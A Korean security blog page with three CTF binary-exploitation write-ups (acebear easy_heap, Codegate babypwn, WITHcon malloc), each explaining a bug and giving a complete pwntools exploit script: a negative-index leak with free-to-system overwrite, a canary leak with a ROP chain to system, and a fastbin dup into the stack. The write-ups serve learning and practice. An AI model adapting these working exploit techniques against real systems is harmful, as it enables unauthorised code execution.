2017 acebear CTF easy_heap
우선 보호기법을 보면
실행시켜보면 이렇게 age와 name을 입력받고 5개의 menu를 출력한다.
취약점은 이 특정함수가 아니라 필터링 때문에 발생한다. create 부분을 보여주자면
여기서 INPUT_after_ATOI 함수는 입력을 받고 정수로 바꿔서 반환하는 함수다. v1에 INPUT_after_ATOI의 반환 값을 저장하고 buf[v1] 식으로 배열에 할당을 한다. 근데 만약에 정수가 양의 정수가 아니라 음의 정수라면 어떻게 될까?
v1을 -1로 하고 GDB로 봤더니(0x0804b0a0은 buf[]의 주소)
buf 뒤에 힙 포인터가 나타난다. 즉 음수로하면 (그 수 * 4byte)만큼 밀려서 나타나는 것이다.
이걸 이용해서 릭을 할 것이다.
show 함수를 보면 그 곳이 비었는지 아닌지만 체크하고 출력하기 때문에 이걸 이용할 것이다.
buf주소에서 JMPREL 까지 빼서 setbuf를 출력시킬 것이다. JMPREL의 주소는 0x08048420이다. 그리고 buf의 주소는 0x0804b0a0니까 둘이 빼면 0x2c80이다 10진수로 바꾸면 11392다.
근데 4바이트 단위로 끊어야 하니까 11392 / 4 하면 2848이 된다. 그래서 show에 -2848을 하면 setbuf의 주소를 릭할 수 있을 것이다.
성공했다. 이제 이걸로 base를 구하고 시스템 함수를 구할 수 있다.
다 구한 다음에 이제 공격을 해야한다. 공격은 create와 edit 함수를 이용할 것이다.
우선 JMPREL에서 free 함수부터 buf까지의 오프셋을 구하고 그걸 4로 나눈다. 아까 릭할 때처럼 구하면 된다.
그렇게 해서 2842라는 걸 구했다.
이제 create에 "/bin/sh\x00" 을 넣어놓는다. 그 다음에 edit 함수에 인자를 -2842와 system 함수의 주소를 넣음으로써
free함수를 system 함수로 덮는다. 그리고 아까 만든 create한 곳을 free 시키면 system과 "/bin/sh\x00"가 만나서 쉘이 따진다.
처음에 unlink로 base까지 다 구했는데 공격방법을 몰라서 막혔었는데 jmprel을 이용해서 공격한다는 걸 알게 돼서 릭과 공격코드가 엄청 간결해졌다. unlink로 base 구하는 코드보다 jmprel로 공격까지 때리는 게 더 짧은걸 보고 자괴감이 들었다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | from pwn import* #p = remote("easyheap.acebear.site", 3002) p = process(["./easy_heap"],env={'LD_PRELOAD':'./easyheap_libc.so.6'}) def start(name,age): p.sendlineafter(": ",name) p.sendlineafter(": ",str(age)) def create(index,name): p.sendlineafter("choice: ","1") p.sendlineafter(": ",str(index)) p.sendlineafter(": ",name) def edit(index,name): p.sendlineafter("choice: ","2") p.sendlineafter(": ",str(index)) p.sendlineafter(": ",name) def delete(index): p.sendlineafter("choice: ","3") p.sendlineafter(": ",str(index)) def show(index): p.sendafter("choice: ","4") p.sendafter(": ",str(index)) start("AAAAAAAAAAAAAAAA",10) show(-2848) p.recvuntil('is: ') leak = u32(p.recv(4)) base = leak -0x65450 system = base + 0x3a940 create(0,"/bin/sh\x00") edit(-2842,p32(system)) print hex(leak) print hex(base) print hex(system) p.sendlineafter("choice: ","3") p.sendlineafter("Index: ","0") p.sendline("cat /home/easy_heap/flag") p.interactive() | cs |
'CTF' 카테고리의 다른 글
2018 Codegate BaskinRobins31 (0) | 2018.02.04 |
---|---|
2018 Codegate RedVelvet (0) | 2018.02.04 |
2017 codegate Babypwn (2) | 2018.01.25 |
2016 WITHcon Malloc (0) | 2018.01.22 |
2016 Hitcon sleepy holder (0) | 2018.01.21 |
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
2017 codegate Babypwn
heap 공부를 하는 동안 stack 공부한 걸 까먹지 않았나 싶어서 복습할 겸 codegate의 babypwn을 풀었다.
보호기법을 보니 GOT를 덮을 수 있다.
소켓 연결할 때 포트는 8181로 하면 된다.
빠르게 취약점으로 가면
IDA로 이 쪽 부분을 보면 INPUT_0이라는 함수를 들어가보면
recv임을 알 수 있다. 그럼 INPUT_0(&v2,0x64)는 v2라는 주소에 100만큼 입력을 받는다는 뜻이다. 그래서 v2를 몇 바이트까지 받는 지 봤는데
Canary 까지 0x28 = 40byte를 받는다. 그래서 41만큼 값을 넣어서 카나리까지 변수에 값이 저장되게 한 다음 INPUT_0 밑에 있는 출력 함수에서 v2의 값을 출력할 때 같이 나오게 해서 Canary Leak을 했다.
그 다음에 다시 정상적으로 값을 40까지 넣고 stack smashing이 안뜨게 canary를 넣어준 다음에 나머지 sfp까지 덮고 ret에서 bss에 cat flag 를 하는 리다이렉션 한 명령어를 집어넣고 system_plt에 bss를 인자로 줘서 플래그를 얻었다.
리다이렉션은 처음 써봤는데 stack 복습도 하고 리다이렉션도 배우고 좋은 문제였다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | from pwn import* p = remote('127.0.0.1',8181) #context.log_level = 'debug' elf = ELF("./babypwn") bss = elf.bss() system_got = elf.got["system"] system_plt = elf.plt["system"] recv_plt = elf.plt["recv"] recv_got = elf.got["recv"] send_plt = elf.plt["send"] send_got = elf.got["send"] p4r = 0x08048eec print p.sendlineafter("> ","1") payload = "A"*41 print p.sendafter(": ",payload) print p.recvuntil("A"*41) canary = u32("\x00"+p.recv(3)) print hex(canary) cmd = "cat flag 1>&4" payload = "c"*40+p32(canary)+"A"*8+"B"*4 payload += p32(recv_plt) payload += p32(p4r) payload += p32(4) payload += p32(bss) payload += p32(len(cmd)+1) payload += p32(0) payload += p32(system_plt) payload += "AAAA" payload += p32(bss) print p.sendlineafter("> ","1") p.sendafter(": ",payload) print p.recv(1024) print p.recv(1024) p.sendline("3") p.send(cmd) p.interactive() | cs |
'CTF' 카테고리의 다른 글
2018 Codegate RedVelvet (0) | 2018.02.04 |
---|---|
2017 acebear CTF easy_heap (0) | 2018.01.30 |
2016 WITHcon Malloc (0) | 2018.01.22 |
2016 Hitcon sleepy holder (0) | 2018.01.21 |
2016 Hitcon secret holder (0) | 2018.01.21 |
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
2016 WITHcon Malloc
어렵지만 익스 코드가 길지 않은 문제다.
문제를 실행하자마자 스택주소를 준다. 그리고 사이즈는 fastbin만 할당이 된다.
스택주소 & fastbin라고 하면 fastbin_dup_into_stack 이 생각나서 쓰면 되지만 나는 그냥 1 과 2를 free 하면 2번에 fd가 생기도록 한 다음에 그 fd를 스택주소 - 0x58을 해준다. (0x58을 해주는 이유는 그 부분에서 입력한 사이즈가 들어가기 때문에 size 다음에 data를 넣으려고 하기 때문이다. 아니면 오류남)
2를 다시 할당하고 또 할당하면 스택주소 - 0x58에 할당하게 된다. 그러면 이제 malloc 다음에 break 주소를 flag 출력 함수로 덮어버리면 된다. (flag 출력함수는 아예 문제에서 준다.)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | from pwn import* p = process("./malloc") def malloc(size,data): p.sendlineafter("> ","1") p.sendlineafter(":",str(size)) p.sendafter(": ",data) def free(num): p.sendlineafter("> ","2") p.sendlineafter(": ",str(num)) def list(): p.sendlineafter(" > ","3") def modify(num,data): p.sendlineafter("> ","4") p.sendlineafter(": ",str(num)) p.sendafter(": ",data) print p.recvuntil(" : ") stack = int(p.recv(14),16) malloc(32,"A"*4) malloc(32,"B"*4) free(1) free(2) print "STACK: "+ hex(stack) attack = 0x400986 modify(2,p64(stack - 0x58)) malloc(32,"C"*4) malloc(48,"A"*24+p64(attack)) p.interactive() | cs |
'CTF' 카테고리의 다른 글
2017 acebear CTF easy_heap (0) | 2018.01.30 |
---|---|
2017 codegate Babypwn (2) | 2018.01.25 |
2016 Hitcon sleepy holder (0) | 2018.01.21 |
2016 Hitcon secret holder (0) | 2018.01.21 |
2017 Codegate messenger (0) | 2018.01.06 |
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.